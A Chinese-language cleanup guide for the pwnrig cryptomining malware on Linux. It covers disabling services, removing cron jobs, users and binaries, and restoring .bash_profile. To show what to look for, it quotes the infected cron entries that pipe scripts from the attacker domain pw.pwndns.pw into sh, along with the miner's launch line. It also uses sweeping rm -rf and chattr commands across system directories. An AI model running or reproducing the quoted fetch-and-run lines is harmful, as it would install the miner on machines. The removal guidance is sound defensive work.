pwnrige挖矿病毒:
所有病毒文件删除提示没权限时,运行 chattr -ia 文件名
1、开机启动文件
/etc/systemd/system
/etc/init.d/
pwnrige.service lntpdate.service enntpdate.service
systemctl daemon-reload
systemctl status pwnrig.service
systemctl disable lntpdate.service && systemctl stop lntpdate.service
systemctl disable enntpdate.service && systemctl stop enntpdate.service
systemctl disable pwnrige.service && systemctl stop pwnrige.service
systemctl disable pwnrige.service && systemctl stop pwnrig.service
chattr -ia /etc/init.d/*
rm -rf /etc/init.d/ntpdate
rm -rf /etc/init.d/pwnrig
2、计划任务 --观察下/var/log/cron日志查看下载跑什么任务!
crontab -e #删除相关计划任务
cd /var/spool/cron
[root@localhost cron]# cat x
* * * * * /var/tmp/.systemd/.systemd
* * * * * /var/tmp/.update/.update
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
[root@localhost cron]# cat root
* * * * * /var/tmp/.systemd/.systemd
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh
hosts文件修改:127.0.0.1 pw.pwndns.pw
计划任务文件删除:
rm -rf /var/spool/cron/x
rm -rf /var/spool/cron/root
rm -rf /var/tmp/.systemd
rm -rf /var/tmp/.update
3、用户文件相关
userdel -R x
[root@localhost ~]# cat .bash_profile
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
export PATH
cp -f -r -- /bin/bprofr /bin/-bash 2>/dev/null && /bin/-bash -c -p 80 -p 3333 -p 443 -tls -d -dp 3333 -dp 443 -tls >/dev/null 2>&1 && rm -rf -- /bin/-bash 2>/dev/null
chattr -ia .bash_profile
sed -i s/^cp/#cp/g .bash_profile
4、/bin和/sbin 下的四个程序文件删除--可以在sbin和bin目录中使用ll -lrt看看近期什么程序安装进去判断大概中毒时间
bprofr crondr initdr sysdr
chattr -ia /sbin/*
chattr -ia /bin/*
rm -rf /sbin/bprofr /sbin/crondr /sbin/initdr /sbin/sysdr
rm -rf /bin/bprofr /bin/crondr /bin/initdr /bin/sysdr
5、最后再搂一遍
chattr -ia `find / -name "*pwnrig*"`
rm -rf `find / -name "*pwnrig*"`
参考连接:
https://blog.csdn.net/huangzyi/article/details/116919742
http://www.manongjc.com/detail/29-fspszblmttguygt.html
网友评论